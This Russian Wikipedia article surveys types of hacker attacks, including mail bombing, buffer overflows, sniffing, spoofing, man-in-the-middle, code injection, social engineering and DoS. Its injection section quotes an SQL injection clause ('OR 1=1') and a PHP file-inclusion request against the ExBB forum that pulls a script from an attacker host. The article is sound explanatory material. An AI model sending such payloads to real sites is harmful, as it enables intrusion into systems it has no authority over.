Хакерская атака — Википедия

Хакерская атака в узком смысле слова — в настоящее время под словосочетанием понимается «Покушение на систему безопасности», и склоняется скорее к смыслу следующего термина Крэкерская атака. Это произошло из-за искажения смысла самого слова «хакер».

Хакерская атака в широком смысле слова (изначальный смысл) — мозговой штурм направленный на нахождение пути решения сложных задач. В хакерской атаке могут принимать участие один или несколько высококлассных специалистов (хакеров). В результате мозгового штурма могут быть придуманы нетрадиционные методы решения проблемы, или внесены оптимизирующие корректировки в уже существующие методы.

Крэкерская атака — действие, целью которого является захват контроля (повышение прав) над удалённой/локальной вычислительной системой, либо её дестабилизация, либо отказ в обслуживании.

Считается самым старым методом атак, хотя суть его проста и примитивна: большое количество почтовых сообщений делают невозможными работу с почтовыми ящиками, а иногда и с целыми почтовыми серверами. Для этой цели было разработано множество программ, и даже неопытный пользователь мог совершить атаку, указав всего лишь e-mail жертвы, текст сообщения, и количество необходимых сообщений. Многие такие программы позволяли прятать реальный IP-адрес отправителя, используя для рассылки анонимный почтовый сервер. Эту атаку сложно предотвратить, так как даже почтовые фильтры провайдеров не могут определить реального отправителя спама. Провайдер может ограничить количество писем от одного отправителя, но адрес отправителя и тема зачастую генерируются случайным образом.

Пожалуй, один из самых распространённых типов атак в Интернете. Принцип данной атаки построен на использовании программных ошибок, позволяющих вызвать нарушение границ памяти и аварийно завершить приложение или выполнить произвольный бинарный код от имени пользователя, под которым работала уязвимая программа. Если программа работает под учётной записью администратора системы, то данная атака позволит получить полный контроль над компьютером жертвы, поэтому рекомендуется работать под учётной записью рядового пользователя, имеющего ограниченные права на системе, а под учётной записью администратора системы выполнять только операции, требующие административные права.

Следующий вид атаки представляет собой более изощрённый метод получения доступа к закрытой информации — использование специальных программ для ведения работы на компьютере жертвы, а также дальнейшего распространения (это вирусы и черви). Такие программы предназначены для поиска и передачи своему владельцу секретной информации, либо просто для нанесения вреда системе безопасности и работоспособности компьютера жертвы. Принципы действия этих программ различны.

Сетевая разведка

[править | править код]

В ходе такой атаки крэкер собственно не производит никаких деструктивных действий, но в результате он может получить закрытую информацию о построении и принципах функционирования вычислительной системы жертвы. Полученная информация может быть использована для грамотного построения предстоящей атаки, и обычно производится на подготовительных этапах.

В ходе такой разведки злоумышленник может производить сканирование портов, запросы DNS, эхо-тестирование открытых портов, наличие и защищённость прокси-серверов. В результате можно получить информацию о существующих в системе DNS-адресах, кому они принадлежат, какие сервисы на них доступны, уровень доступа к этим сервисам для внешних и внутренних пользователей.

Сниффинг пакетов

[править | править код]

Также довольно распространённый вид атаки, основанный на работе сетевой карты в режиме promiscuous mode, а также monitor mode для сетей Wi-Fi. В таком режиме все пакеты, полученные сетевой картой, пересылаются на обработку специальному приложению, называемому сниффером. В результате злоумышленник может получить большое количество служебной информации: кто, откуда и куда передавал пакеты, через какие адреса эти пакеты проходили. Самой большой опасностью такой атаки является получение самой информации, например логинов и паролей сотрудников, которые можно использовать для незаконного проникновения в систему под видом обычного сотрудника компании.

Тоже распространённый вид атаки в недостаточно защищённых сетях, когда злоумышленник выдаёт себя за санкционированного пользователя, находясь в самой организации или за её пределами. Для этого крэкеру необходимо воспользоваться IP-адресом, разрешённым в системе безопасности сети. Такая атака возможна, если система безопасности позволяет идентификацию пользователя только по IP-адресу и не требует дополнительных подтверждений.

Вид атаки, когда злоумышленник перехватывает канал связи между двумя системами и получает доступ ко всей передаваемой информации. При получении доступа на таком уровне злоумышленник может модифицировать информацию нужным ему образом, чтобы достичь своих целей. Цель такой атаки — незаконное получение, кража или фальсифицирование передаваемой информации или же получение несанкционированного доступа к ресурсам сети. Такие атаки крайне сложно отследить, так как обычно злоумышленник находится внутри организации.

Инъекция кода

[править | править код]

Семейство атак, объединённых одним общим принципом — в результате атаки данные выполняются как код.

SQL-инъекция — атака, в ходе которой изменяются параметры SQL-запросов к базе данных. В результате запрос приобретает совершенно иной смысл и в случае недостаточной фильтрации входных данных способен не только произвести вывод конфиденциальной информации, но и изменить/удалить данные. Очень часто такой вид атаки можно наблюдать на примере сайтов, которые используют параметры командной строки (в данном случае — переменные URL) для построения SQL-запросов к базам данных без соответствующей проверки[1].

SELECT fieldlist FROM table WHERE id = 23 OR 1=1;

Вместо проверки можно подставить утверждение,
которое, будучи истинным, позволит обойти проверку

PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, чтобы внедрить специально сформированный злонамеренный сценарий в код веб-приложения на серверной стороне сайта, что приводит к выполнению произвольных команд. Известно, что во многих распространённых в интернете бесплатных движках и форумах, работающих на PHP (чаще всего это устаревшие версии) есть непродуманные модули или отдельные конструкции с уязвимостями. Крэкеры анализируют такие уязвимости как неэкранированные переменные, получающие внешние значения. Например, старая уязвимость форума ExBB используется хакерами запросом: GET /modules/threadstop/threadstop.php?new_exbb[home_path]=evilhackerscorp.com/tx.txt.

Межсайтовый скриптинг или XSS (аббр. от англ.  Cross Site Scripting, не путать с CSS (Cascade Style Sheet)) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript.

XPath-инъекция — вид уязвимостей, который заключается во внедрении XPath-выражений в оригинальный запрос к базе данных XML. Как и при остальных видах инъекций, уязвимость возможна ввиду недостаточной проверки входных данных.

Автозалив — веб-инъекция, действующая по принципу троянских программ, основная цель которой заключается во внедрении в аккаунт пользователя в платежной системе, незаметной подмене данных транзакции путём модификации HTML-кода и переводе средств пользователя на счёт злоумышленника.

Социальная инженерия

[править | править код]

Социальная инженерия (от англ. social engineering) — использование некомпетентности, непрофессионализма или небрежности персонала для получения доступа к информации. Этот метод обычно применяется без компьютера, с использованием обычного телефона или почтовой переписки. Таким образом обычно получается самая разнообразная информация. В ходе такой атаки злоумышленник устанавливает контакт с жертвой, и, вводя её в заблуждение либо войдя в доверие, пытается получить необходимые сведения, которые сложно получить другим путём, либо другие пути являются более рискованными.

Отказ в обслуживании

[править | править код]

DoS (от англ. Denial of Service — Отказ в обслуживании) — атака, имеющая своей целью заставить сервер не отвечать на запросы. Такой вид атаки не подразумевает получение некоторой секретной информации, но иногда бывает подспорьем в инициализации других атак. Например, некоторые программы из-за ошибок в своём коде могут вызывать исключительные ситуации и при отключении сервисов способны исполнять код, предоставленный злоумышленником, или атаки лавинного типа, когда сервер не может обработать огромное количество входящих пакетов.

DDoS (от англ. Distributed Denial of Service — Распределенная DoS) — подтип DoS атаки, имеющий ту же цель, что и DoS, но производимой не с одного компьютера, а с нескольких компьютеров в сети. В данных типах атак используется либо возникновение ошибок, приводящих к отказу сервиса, либо срабатывание защиты, приводящей к блокированию работы сервиса, а в результате также к отказу в обслуживании. DDoS используется там, где обычный DoS неэффективен. Для этого несколько компьютеров объединяются, и каждый производит DoS-атаку на систему жертвы. Вместе это называется DDoS-атака. Размер ботнета может составлять от нескольких десятков до нескольких сотен тысяч компьютеров.

Любая атака представляет собой не что иное, как попытку использовать несовершенство системы безопасности жертвы либо для получения информации, либо для нанесения вреда системе, поэтому причиной любой удачной атаки является профессионализм крэкера и ценность информации, а также недостаточная компетенция администратора системы безопасности, в частности, несовершенство программного обеспечения и недостаточное внимание к вопросам безопасности в компании в целом.

Примечания

[править | править код]